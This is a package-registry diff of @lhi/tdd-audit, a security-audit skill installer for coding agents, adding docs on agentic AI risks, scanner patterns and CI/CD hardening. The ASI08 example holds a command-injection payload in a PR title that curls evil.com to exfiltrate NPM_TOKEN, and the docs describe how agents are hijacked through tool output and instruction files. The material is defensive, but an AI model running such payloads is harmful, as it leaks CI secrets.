@lhi/tdd-audit 1.5.0 → 1.8.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +76 -23
- package/SKILL.md +1 -1
- package/docs/agentic-ai-security.md +202 -0
- package/docs/ci-cd.md +169 -0
- package/docs/hardening.md +267 -0
- package/docs/scanner.md +161 -0
- package/docs/tdd-protocol.md +184 -0
- package/docs/vulnerability-patterns.md +200 -0
- package/lib/scanner.js +71 -30
- package/package.json +3 -2
- package/workflows/tdd-audit.md +6 -0
package/README.md
CHANGED
|
@@ -1,12 +1,12 @@
|
|
|
1
1
|
# @lhi/tdd-audit
|
|
2
2
|
|
|
3
|
-
Security skill installer for **Claude Code, Gemini CLI, Cursor, Codex, and OpenCode**. Patches vulnerabilities using a Red-Green-Refactor exploit-test protocol — you prove the hole exists, apply the fix, and prove it's closed.
|
|
3
|
+
> **v1.8.0** — Security skill installer for **Claude Code, Gemini CLI, Cursor, Codex, and OpenCode**. Patches vulnerabilities using a Red-Green-Refactor exploit-test protocol — you prove the hole exists, apply the fix, and prove it's closed.
|
|
4
4
|
|
|
5
5
|
## What happens on install
|
|
6
6
|
|
|
7
7
|
Running the installer does five things immediately:
|
|
8
8
|
|
|
9
|
-
1. **Scans your codebase** for
|
|
9
|
+
1. **Scans your codebase** for 34 vulnerability patterns across OWASP Top 10, mobile, agentic AI, and prompt/skill files — prints a severity-ranked findings report to stdout
|
|
10
10
|
2. **Scaffolds `__tests__/security/`** with a framework-matched boilerplate exploit test
|
|
11
11
|
3. **Adds `test:security`** to your `package.json` scripts (Node.js projects)
|
|
12
12
|
4. **Creates `.github/workflows/security-tests.yml`** so the CI gate exists from day one
|
|
@@ -31,25 +31,25 @@ node index.js
|
|
|
31
31
|
| Claude Code | `npx @lhi/tdd-audit --local --claude` |
|
|
32
32
|
| Gemini CLI / Codex / OpenCode | `npx @lhi/tdd-audit --local` |
|
|
33
33
|
| With pre-commit hook | add `--with-hooks` |
|
|
34
|
-
| Scan only (no install) | `npx @lhi/tdd-audit --scan
|
|
34
|
+
| Scan only (no install) | `npx @lhi/tdd-audit --scan` |
|
|
35
35
|
|
|
36
36
|
### All flags
|
|
37
37
|
|
|
38
38
|
| Flag | Description |
|
|
39
39
|
|---|---|
|
|
40
|
-
| `--local` | Install skill files
|
|
40
|
+
| `--local` | Install skill files into the current project instead of `~` |
|
|
41
41
|
| `--claude` | Use `.claude/` instead of `.agents/` as the skill directory |
|
|
42
42
|
| `--with-hooks` | Install a pre-commit hook that blocks commits if security tests fail |
|
|
43
43
|
| `--skip-scan` | Skip the automatic vulnerability scan on install |
|
|
44
|
-
| `--scan-only` | Run the vulnerability scan without installing anything |
|
|
44
|
+
| `--scan` / `--scan-only` | Run the vulnerability scan without installing anything |
|
|
45
45
|
|
|
46
|
-
### Framework
|
|
46
|
+
### Framework detection
|
|
47
47
|
|
|
48
48
|
The installer automatically detects your project's test framework and scaffolds the right boilerplate:
|
|
49
49
|
|
|
50
50
|
| Detected | Boilerplate | `test:security` command |
|
|
51
51
|
|---|---|---|
|
|
52
|
-
| `jest` / `supertest` | `sample.exploit.test.js` | `jest --
|
|
52
|
+
| `jest` / `supertest` | `sample.exploit.test.js` | `jest --testPathPatterns=__tests__/security` |
|
|
53
53
|
| `vitest` | `sample.exploit.test.vitest.js` | `vitest run __tests__/security` |
|
|
54
54
|
| `mocha` | `sample.exploit.test.js` | `mocha '__tests__/security/**/*.spec.js'` |
|
|
55
55
|
| `pytest.ini` / `pyproject.toml` | `sample.exploit.test.pytest.py` | `pytest tests/security/ -v` |
|
|
@@ -65,33 +65,46 @@ Once installed, trigger the autonomous audit in your agent:
|
|
|
65
65
|
```
|
|
66
66
|
|
|
67
67
|
The agent will:
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
68
|
+
|
|
69
|
+
1. Detect your tech stack and scope the scan to relevant patterns only
|
|
70
|
+
2. Scan the codebase and present a severity-ranked findings report (CRITICAL / HIGH / MEDIUM / LOW)
|
|
71
|
+
3. **Wait for your confirmation** before making any changes
|
|
72
|
+
4. For each confirmed vulnerability, apply the full Red-Green-Refactor loop:
|
|
71
73
|
- **Red** — write an exploit test that fails, proving the vulnerability exists
|
|
72
74
|
- **Green** — apply the targeted patch, making the test pass
|
|
73
75
|
- **Refactor** — run the full suite to confirm no regressions
|
|
74
|
-
|
|
76
|
+
5. Apply proactive hardening controls (security headers, rate limiting, `npm audit`, secret history scan)
|
|
77
|
+
6. Deliver a final Remediation Summary table
|
|
75
78
|
|
|
76
79
|
The agent works one vulnerability at a time and does not advance until the current one is fully proven closed.
|
|
77
80
|
|
|
78
|
-
|
|
81
|
+
Pass `--scan` in your prompt to get the Audit Report only, without any code changes.
|
|
82
|
+
|
|
83
|
+
## Vulnerability scanner
|
|
79
84
|
|
|
80
|
-
The built-in scanner catches
|
|
85
|
+
The built-in scanner catches **34 patterns** across OWASP Top 10, mobile, agentic AI, and prompt/skill files:
|
|
81
86
|
|
|
82
87
|
| Category | Patterns |
|
|
83
88
|
|---|---|
|
|
84
|
-
| Injection | SQL Injection, Command Injection, NoSQL Injection, Template Injection
|
|
85
|
-
| Broken Auth | JWT
|
|
89
|
+
| Injection | SQL Injection, Command Injection, NoSQL Injection, Template Injection |
|
|
90
|
+
| Broken Auth | JWT Alg None, Broken Auth, Timing-Unsafe Comparison, Hardcoded Secret, Secret Fallback |
|
|
86
91
|
| XSS / Output | XSS, eval() Injection, Open Redirect |
|
|
87
92
|
| Crypto | Weak Crypto (MD5/SHA1), Insecure Random, TLS Bypass |
|
|
88
93
|
| Server-side | SSRF, Path Traversal, XXE, Insecure Deserialization |
|
|
89
94
|
| Assignment | Mass Assignment, Prototype Pollution |
|
|
90
95
|
| Mobile | Sensitive Storage, WebView JS Bridge, Deep Link Injection, Android Debuggable |
|
|
91
|
-
| Config | CORS Wildcard, Cleartext Traffic, Config Secrets |
|
|
92
|
-
|
|
|
96
|
+
| Config / Infra | CORS Wildcard, Cleartext Traffic, Config Secrets, ReDoS |
|
|
97
|
+
| Agentic / Prompt | Deprecated CSRF Package (`csurf`), Unpinned npx MCP Server, Cleartext URL in Prompt |
|
|
98
|
+
|
|
99
|
+
### Scanner behaviour
|
|
93
100
|
|
|
94
|
-
|
|
101
|
+
- **Test files are flagged but labelled** — findings in `__tests__/`, `tests/`, `spec/`, or `*.test.*` files are shown with a `[test file]` badge. Patterns that mark `skipInTests: true` (e.g. Hardcoded Secret, Sensitive Log, Cleartext Traffic) are further tagged `likelyFalsePositive` and separated at the bottom of the report.
|
|
102
|
+
- **Prompt/skill files get their own scan** — `.md` files inside `prompts/`, `skills/`, `.claude/`, `workflows/`, plus `CLAUDE.md` and `SKILL.md`, are scanned for prompt-specific anti-patterns. Matches inside backtick code spans are suppressed to avoid noise from documentation examples.
|
|
103
|
+
- **`audit_status: safe` exemption** — any prompt file with `audit_status: safe` in its YAML frontmatter is skipped and listed separately so you can verify exemptions are intentional.
|
|
104
|
+
- **Binary and oversized files skipped** — files larger than 512 KB or containing null bytes are skipped to prevent OOM.
|
|
105
|
+
- **Symlinks skipped** — symlinks are never followed, preventing directory-escape on M-series Macs and shared filesystems.
|
|
106
|
+
|
|
107
|
+
## Running security tests
|
|
95
108
|
|
|
96
109
|
```bash
|
|
97
110
|
# Node.js
|
|
@@ -102,20 +115,30 @@ pytest tests/security/ -v
|
|
|
102
115
|
|
|
103
116
|
# Go
|
|
104
117
|
go test ./security/... -v
|
|
118
|
+
|
|
119
|
+
# Flutter
|
|
120
|
+
flutter test test/security/
|
|
105
121
|
```
|
|
106
122
|
|
|
107
123
|
## CI/CD
|
|
108
124
|
|
|
109
|
-
The installer creates `.github/workflows
|
|
125
|
+
The installer creates framework-matched workflow files under `.github/workflows/`. Both `security-tests.yml` and `ci.yml` include:
|
|
126
|
+
|
|
127
|
+
- SHA-pinned `uses:` references on every action (supply chain hardening)
|
|
128
|
+
- `npm audit --audit-level=high` (or equivalent) to catch vulnerable dependencies
|
|
129
|
+
- The security exploit test suite on every push and pull request
|
|
110
130
|
|
|
111
|
-
To add
|
|
131
|
+
To add the security gate to an existing pipeline manually:
|
|
112
132
|
|
|
113
133
|
```yaml
|
|
134
|
+
- name: Dependency audit
|
|
135
|
+
run: npm audit --audit-level=high
|
|
136
|
+
|
|
114
137
|
- name: Run security exploit tests
|
|
115
|
-
run: npm run test:security # or pytest tests/security/,
|
|
138
|
+
run: npm run test:security # or pytest tests/security/, flutter test test/security/
|
|
116
139
|
```
|
|
117
140
|
|
|
118
|
-
## Pre-commit
|
|
141
|
+
## Pre-commit hook
|
|
119
142
|
|
|
120
143
|
The `--with-hooks` flag appends a security gate to `.git/hooks/pre-commit`. Commits are blocked if any exploit test fails:
|
|
121
144
|
|
|
@@ -123,7 +146,37 @@ The `--with-hooks` flag appends a security gate to `.git/hooks/pre-commit`. Comm
|
|
|
123
146
|
❌ Security tests failed. Commit blocked.
|
|
124
147
|
```
|
|
125
148
|
|
|
126
|
-
The hook is non-destructive — it appends to
|
|
149
|
+
The hook is non-destructive — it appends to existing hook content rather than overwriting it.
|
|
150
|
+
|
|
151
|
+
## Agentic AI security (ASI01–ASI10)
|
|
152
|
+
|
|
153
|
+
When the project contains AI agent code, MCP configurations, or `CLAUDE.md` files, the scanner also checks for agentic-specific vulnerabilities:
|
|
154
|
+
|
|
155
|
+
| ID | Vulnerability | Risk |
|
|
156
|
+
|---|---|---|
|
|
157
|
+
| ASI01 | Prompt injection via tool output | Malicious content in web/file reads hijacks agent behaviour |
|
|
158
|
+
| ASI02 | CLAUDE.md / instructions file injection | Attacker-controlled system prompts override agent identity |
|
|
159
|
+
| ASI03 | MCP server supply chain (unpinned `npx`) | Compromised package version exfiltrates secrets |
|
|
160
|
+
| ASI04 | Excessive tool permissions | Agent can write files or run shell when only read is needed |
|
|
161
|
+
| ASI05 | Secrets in tool call arguments | Tokens/passwords logged by external tools |
|
|
162
|
+
| ASI06 | Unvalidated agent action execution | Agent runs irreversible actions without user confirmation |
|
|
163
|
+
| ASI07 | Insecure direct agent communication | Sub-agent messages trusted without verification |
|
|
164
|
+
| ASI08 | GitHub Actions command injection | `github.event.*` interpolated directly into `run:` steps |
|
|
165
|
+
| ASI09 | Unpinned GitHub Actions (supply chain) | Mutable `@v4` / `@main` tags can be hijacked |
|
|
166
|
+
| ASI10 | Secrets in workflow environment | Secrets printed to logs or embedded in curl URLs |
|
|
167
|
+
|
|
168
|
+
See [`docs/agentic-ai-security.md`](docs/agentic-ai-security.md) for grep patterns, examples, and fixes.
|
|
169
|
+
|
|
170
|
+
## Documentation
|
|
171
|
+
|
|
172
|
+
| File | Contents |
|
|
173
|
+
|---|---|
|
|
174
|
+
| [`docs/scanner.md`](docs/scanner.md) | How the scanner works — architecture, detection logic, false-positive handling |
|
|
175
|
+
| [`docs/vulnerability-patterns.md`](docs/vulnerability-patterns.md) | All 34 patterns with descriptions, grep signatures, and fix pointers |
|
|
176
|
+
| [`docs/tdd-protocol.md`](docs/tdd-protocol.md) | The Red-Green-Refactor protocol in full, with framework templates |
|
|
177
|
+
| [`docs/agentic-ai-security.md`](docs/agentic-ai-security.md) | ASI01–ASI10 agentic AI vulnerability reference |
|
|
178
|
+
| [`docs/hardening.md`](docs/hardening.md) | Phase 4 proactive hardening controls |
|
|
179
|
+
| [`docs/ci-cd.md`](docs/ci-cd.md) | CI/CD integration guide for all supported stacks |
|
|
127
180
|
|
|
128
181
|
## License
|
|
129
182
|
|
package/SKILL.md
CHANGED
|
@@ -0,0 +1,202 @@
|
|
|
1
|
+
# Agentic AI Security (ASI01–ASI10)
|
|
2
|
+
|
|
3
|
+
When the project contains AI agent code, MCP server configurations, CLAUDE.md files, or tool-calling patterns, the auto-audit also checks for agentic-specific vulnerabilities. These are harder to spot than traditional web vulnerabilities but carry severe consequences — data exfiltration via tool abuse, agent hijacking, supply chain via MCP.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## ASI01 — Prompt Injection via Tool Output
|
|
8
|
+
|
|
9
|
+
**What:** Malicious text in tool results (web scrapes, file reads, search results) that instructs the agent to perform unauthorized actions.
|
|
10
|
+
|
|
11
|
+
**Grep for:**
|
|
12
|
+
```
|
|
13
|
+
fetch(.*then.*res\.text # agent reading raw web content into prompt
|
|
14
|
+
readFile.*utf8.*then # file content fed directly to model
|
|
15
|
+
tool_result.*content # MCP tool output injected into context
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
**Fix:** Sanitize tool outputs before injecting into prompt context. Treat all content from web fetches, file reads, and search results as untrusted data — never as instructions.
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## ASI02 — CLAUDE.md / Instructions File Injection
|
|
23
|
+
|
|
24
|
+
**What:** Attacker-controlled files (`CLAUDE.md`, `.cursorrules`, system prompts) that override the agent's behavior or extract secrets.
|
|
25
|
+
|
|
26
|
+
**Grep for:**
|
|
27
|
+
```
|
|
28
|
+
CLAUDE\.md # ensure CLAUDE.md doesn't accept untrusted input
|
|
29
|
+
\.cursorrules # check cursor rules for malicious overrides
|
|
30
|
+
system_prompt.*file # system prompt loaded from a user-supplied path
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
**Fix:** `CLAUDE.md` must be under version control and reviewed on every commit. Never load system prompts from user-supplied paths. Treat the file as code, not configuration.
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## ASI03 — MCP Server Supply Chain Risk
|
|
38
|
+
|
|
39
|
+
**What:** MCP servers installed via `npx` or unpinned package references that can execute arbitrary code in the agent's context.
|
|
40
|
+
|
|
41
|
+
**Grep for:**
|
|
42
|
+
```
|
|
43
|
+
mcpServers # review all MCP server configurations
|
|
44
|
+
npx.*mcp # npx-executed MCP servers (not pinned)
|
|
45
|
+
"command".*"npx" # dynamic npx MCP invocations
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Fix:** Pin all MCP server packages to exact versions. Prefer locally-installed servers over `npx`:
|
|
49
|
+
|
|
50
|
+
```json
|
|
51
|
+
// settings.json — safe pattern
|
|
52
|
+
{
|
|
53
|
+
"mcpServers": {
|
|
54
|
+
"filesystem": {
|
|
55
|
+
"command": "node",
|
|
56
|
+
"args": ["/usr/local/lib/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js"]
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## ASI04 — Excessive Tool Permissions
|
|
65
|
+
|
|
66
|
+
**What:** Agent granted filesystem write, shell exec, or network send permissions when the task only requires read access.
|
|
67
|
+
|
|
68
|
+
**Grep for:**
|
|
69
|
+
```
|
|
70
|
+
allow.*Write.*true # broad write permissions granted
|
|
71
|
+
bash.*permission.*allow # shell execution permitted
|
|
72
|
+
tools.*\["bash" # bash tool in agent tool list
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
**Fix:** Apply the principle of least privilege. Grant only the minimum tool set required for the task. For automated CI agents, use a dedicated low-privilege service account with no write access to source files.
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## ASI05 — Sensitive Data in Tool Calls
|
|
80
|
+
|
|
81
|
+
**What:** Agent passes secrets, PII, or auth tokens to external tools (web search, APIs) where they may be logged or leaked.
|
|
82
|
+
|
|
83
|
+
**Grep for:**
|
|
84
|
+
```
|
|
85
|
+
tool_call.*password # password in tool argument
|
|
86
|
+
tool_call.*token # token passed to external tool
|
|
87
|
+
messages.*secret # secret embedded in model messages
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
**Fix:** Scrub secrets from all tool arguments before calling. Pass credentials via environment variables, never via prompt context.
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## ASI06 — Unvalidated Agent Action Execution
|
|
95
|
+
|
|
96
|
+
**What:** Agent executes shell commands, file writes, or API calls without confirming with the user when the action has significant side effects.
|
|
97
|
+
|
|
98
|
+
**Grep for:**
|
|
99
|
+
```
|
|
100
|
+
exec.*tool_result # shell exec driven by tool output
|
|
101
|
+
writeFile.*agent # agent writing files autonomously
|
|
102
|
+
http\.post.*tool_call # agent making POST requests without confirmation
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
**Fix:** For irreversible or high-blast-radius actions, the agent must confirm with the user before executing. Classify actions as: read-only (proceed freely), local reversible (proceed with logging), or destructive/external (require confirmation).
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
## ASI07 — Insecure Direct Agent Communication
|
|
110
|
+
|
|
111
|
+
**What:** Agent-to-agent messages that trust the calling agent's identity without verification, enabling privilege escalation.
|
|
112
|
+
|
|
113
|
+
**Grep for:**
|
|
114
|
+
```
|
|
115
|
+
agent_message.*role.*user # sub-agent message injected as user role
|
|
116
|
+
from_agent.*trust # inter-agent trust without verification
|
|
117
|
+
orchestrator.*execute # orchestrator passing actions directly to sub-agent
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
**Fix:** Treat messages from sub-agents with the same skepticism as user input. Validate the source and scope of all inter-agent instructions before acting.
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## ASI08 — GitHub Actions Command Injection
|
|
125
|
+
|
|
126
|
+
**What:** User-controlled input (PR title, branch name, issue body) injected into GitHub Actions `run:` steps via `${{ github.event.* }}`.
|
|
127
|
+
|
|
128
|
+
**Grep for** (in `.github/workflows/*.yml`):
|
|
129
|
+
```
|
|
130
|
+
\$\{\{ github\.event\.pull_request\.title
|
|
131
|
+
\$\{\{ github\.event\.issue\.body
|
|
132
|
+
\$\{\{ github\.head_ref
|
|
133
|
+
\$\{\{ github\.event\.comment\.body
|
|
134
|
+
run:.*\$\{\{
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
**Vulnerable pattern:**
|
|
138
|
+
```yaml
|
|
139
|
+
- name: Echo PR title
|
|
140
|
+
run: echo "${{ github.event.pull_request.title }}"
|
|
141
|
+
# Attacker submits PR titled: foo"; curl evil.com/exfil?t=$NPM_TOKEN; echo "
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
**Safe pattern:**
|
|
145
|
+
```yaml
|
|
146
|
+
- name: Echo PR title
|
|
147
|
+
env:
|
|
148
|
+
TITLE: ${{ github.event.pull_request.title }}
|
|
149
|
+
run: echo "$TITLE" # shell variable — no Actions interpolation
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
## ASI09 — Unpinned GitHub Actions (Supply Chain)
|
|
155
|
+
|
|
156
|
+
**What:** Using `@v4` or `@main` action refs instead of full commit SHAs. A compromised tag can exfiltrate `NPM_TOKEN`, `AWS_ACCESS_KEY_ID`, or other secrets.
|
|
157
|
+
|
|
158
|
+
**Grep for** (in `.github/workflows/*.yml`):
|
|
159
|
+
```
|
|
160
|
+
uses:.*@v\d
|
|
161
|
+
uses:.*@main
|
|
162
|
+
uses:.*@master
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
**Fix:** Pin every `uses:` to a full 40-character commit SHA with the version as a comment:
|
|
166
|
+
|
|
167
|
+
```yaml
|
|
168
|
+
# Vulnerable
|
|
169
|
+
- uses: actions/checkout@v4
|
|
170
|
+
|
|
171
|
+
# Safe
|
|
172
|
+
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
All workflow templates installed by `@lhi/tdd-audit` ship SHA-pinned. The security test `sec-05-unpinned-action-in-docs.test.js` enforces this.
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## ASI10 — Secrets in Workflow Environment
|
|
180
|
+
|
|
181
|
+
**What:** Secrets printed to logs, passed as positional arguments, or embedded in URLs in CI workflows.
|
|
182
|
+
|
|
183
|
+
**Grep for** (in `.github/workflows/*.yml`):
|
|
184
|
+
```
|
|
185
|
+
echo.*secrets\. # secret echoed to log
|
|
186
|
+
run:.*\$\{\{ secrets\. # secret interpolated inline into run step
|
|
187
|
+
curl.*\$\{\{ secrets\. # secret in curl URL (leaks in logs)
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
**Vulnerable pattern:**
|
|
191
|
+
```yaml
|
|
192
|
+
- run: curl https://api.example.com?key=${{ secrets.API_KEY }}
|
|
193
|
+
# Full URL including secret appears in GitHub Actions log
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
**Safe pattern:**
|
|
197
|
+
```yaml
|
|
198
|
+
- name: Call API
|
|
199
|
+
env:
|
|
200
|
+
API_KEY: ${{ secrets.API_KEY }}
|
|
201
|
+
run: curl -H "Authorization: $API_KEY" https://api.example.com
|
|
202
|
+
```
|
package/docs/ci-cd.md
ADDED
|
@@ -0,0 +1,169 @@
|
|
|
1
|
+
# CI/CD Integration Guide
|
|
2
|
+
|
|
3
|
+
`@lhi/tdd-audit` installs framework-matched GitHub Actions workflow templates on first run. This document covers what ships, how to add the gate to an existing pipeline, and what each template does.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## What the installer creates
|
|
8
|
+
|
|
9
|
+
| File | When created |
|
|
10
|
+
|---|---|
|
|
11
|
+
| `.github/workflows/security-tests.yml` | Always (if it doesn't already exist) |
|
|
12
|
+
| `.github/workflows/ci.yml` | Always (if it doesn't already exist) |
|
|
13
|
+
|
|
14
|
+
Both files are only written if they don't already exist — the installer never overwrites your existing CI configuration.
|
|
15
|
+
|
|
16
|
+
---
|
|
17
|
+
|
|
18
|
+
## Installed workflow templates
|
|
19
|
+
|
|
20
|
+
All templates ship with:
|
|
21
|
+
- Every `uses:` pinned to a full 40-character commit SHA (supply chain hardening, ASI09)
|
|
22
|
+
- A dependency audit step (`npm audit --audit-level=high`, `pip-audit`, or `govulncheck`)
|
|
23
|
+
- The security exploit test suite run on every push and pull request
|
|
24
|
+
|
|
25
|
+
### Node.js (jest / vitest / mocha)
|
|
26
|
+
|
|
27
|
+
**`.github/workflows/security-tests.yml`**
|
|
28
|
+
```yaml
|
|
29
|
+
name: Security Tests
|
|
30
|
+
on:
|
|
31
|
+
push: { branches: [main, master] }
|
|
32
|
+
pull_request: { branches: [main, master] }
|
|
33
|
+
jobs:
|
|
34
|
+
security-tests:
|
|
35
|
+
runs-on: ubuntu-latest
|
|
36
|
+
steps:
|
|
37
|
+
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
|
38
|
+
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
|
|
39
|
+
with: { node-version: '20', cache: 'npm' }
|
|
40
|
+
- run: npm ci
|
|
41
|
+
- run: npm audit --audit-level=high
|
|
42
|
+
- run: npm run test:security
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
**`.github/workflows/ci.yml`**
|
|
46
|
+
Runs the full test suite on Node.js 18 / 20 / 22, uploads coverage as an artifact.
|
|
47
|
+
|
|
48
|
+
### Python
|
|
49
|
+
|
|
50
|
+
**`security-tests.python.yml`** — runs `pytest tests/security/ -v` on Python 3.12
|
|
51
|
+
**`ci.python.yml`** — matrix across Python 3.10 / 3.11 / 3.12, runs `ruff` lint and `pytest --cov`
|
|
52
|
+
|
|
53
|
+
### Go
|
|
54
|
+
|
|
55
|
+
**`security-tests.go.yml`** — runs `go test ./security/... -v` on Go 1.22
|
|
56
|
+
**`ci.go.yml`** — matrix across Go 1.21 / 1.22 / 1.23, runs `staticcheck` and `go test ./...` with coverage
|
|
57
|
+
|
|
58
|
+
### Flutter / Dart
|
|
59
|
+
|
|
60
|
+
**`security-tests.flutter.yml`** — runs `flutter test test/security/` with `subosito/flutter-action` (SHA-pinned)
|
|
61
|
+
**`ci.flutter.yml`** — runs `dart analyze`, `dart format`, `flutter test --coverage`
|
|
62
|
+
|
|
63
|
+
---
|
|
64
|
+
|
|
65
|
+
## Adding to an existing pipeline
|
|
66
|
+
|
|
67
|
+
Minimum addition — add these two steps to your existing workflow after `npm ci` (or language equivalent):
|
|
68
|
+
|
|
69
|
+
```yaml
|
|
70
|
+
- name: Dependency audit
|
|
71
|
+
run: npm audit --audit-level=high
|
|
72
|
+
|
|
73
|
+
- name: Security exploit tests
|
|
74
|
+
run: npm run test:security
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
For Python:
|
|
78
|
+
```yaml
|
|
79
|
+
- name: Dependency audit
|
|
80
|
+
run: pip install pip-audit && pip-audit
|
|
81
|
+
|
|
82
|
+
- name: Security exploit tests
|
|
83
|
+
run: pytest tests/security/ -v
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
For Go:
|
|
87
|
+
```yaml
|
|
88
|
+
- name: Dependency audit
|
|
89
|
+
run: |
|
|
90
|
+
go install golang.org/x/vuln/cmd/govulncheck@latest
|
|
91
|
+
govulncheck ./...
|
|
92
|
+
|
|
93
|
+
- name: Security exploit tests
|
|
94
|
+
run: go test ./security/... -v
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
---
|
|
98
|
+
|
|
99
|
+
## Pre-commit hook (optional)
|
|
100
|
+
|
|
101
|
+
Install with `--with-hooks`:
|
|
102
|
+
|
|
103
|
+
```bash
|
|
104
|
+
npx @lhi/tdd-audit --with-hooks
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
This appends to `.git/hooks/pre-commit`:
|
|
108
|
+
|
|
109
|
+
```sh
|
|
110
|
+
# tdd-remediation: security gate
|
|
111
|
+
npm run test:security --silent
|
|
112
|
+
if [ $? -ne 0 ]; then
|
|
113
|
+
printf "\n\033[0;31m❌ Security tests failed. Commit blocked.\033[0m\n"
|
|
114
|
+
exit 1
|
|
115
|
+
fi
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
The hook is non-destructive — it appends to existing hook content and does not overwrite it. If the project is not a git repository, the hook installation is skipped with a warning.
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## Supply chain hardening in workflows
|
|
123
|
+
|
|
124
|
+
All installed workflows pin action refs to full commit SHAs. If you add new actions manually, use SHA refs:
|
|
125
|
+
|
|
126
|
+
```yaml
|
|
127
|
+
# Find the SHA for any action tag:
|
|
128
|
+
# 1. Go to github.com/actions/checkout/releases
|
|
129
|
+
# 2. Click the tag → copy the full commit SHA from the URL or git log
|
|
130
|
+
|
|
131
|
+
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
To audit your existing workflows for unpinned refs:
|
|
135
|
+
|
|
136
|
+
```bash
|
|
137
|
+
grep -rn "uses:.*@v\|uses:.*@main\|uses:.*@master" .github/workflows/
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
The security test `sec-05-unpinned-action-in-docs.test.js` enforces that documentation examples in this repo stay SHA-pinned as well.
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## Preventing secrets from leaking in CI
|
|
145
|
+
|
|
146
|
+
Always pass secrets as environment variables — never interpolate them inline:
|
|
147
|
+
|
|
148
|
+
```yaml
|
|
149
|
+
# Vulnerable — secret appears in the Actions log as part of the URL
|
|
150
|
+
- run: curl https://api.example.com?token=${{ secrets.API_TOKEN }}
|
|
151
|
+
|
|
152
|
+
# Safe
|
|
153
|
+
- name: Call API
|
|
154
|
+
env:
|
|
155
|
+
API_TOKEN: ${{ secrets.API_TOKEN }}
|
|
156
|
+
run: curl -H "Authorization: Bearer $API_TOKEN" https://api.example.com
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
Similarly, never interpolate `github.event.*` values directly into `run:` steps (see [ASI08](agentic-ai-security.md#asi08--github-actions-command-injection)):
|
|
160
|
+
|
|
161
|
+
```yaml
|
|
162
|
+
# Vulnerable — PR title with shell metacharacters is injected
|
|
163
|
+
- run: echo "PR: ${{ github.event.pull_request.title }}"
|
|
164
|
+
|
|
165
|
+
# Safe
|
|
166
|
+
- env:
|
|
167
|
+
PR_TITLE: ${{ github.event.pull_request.title }}
|
|
168
|
+
run: echo "PR: $PR_TITLE"
|
|
169
|
+
```
|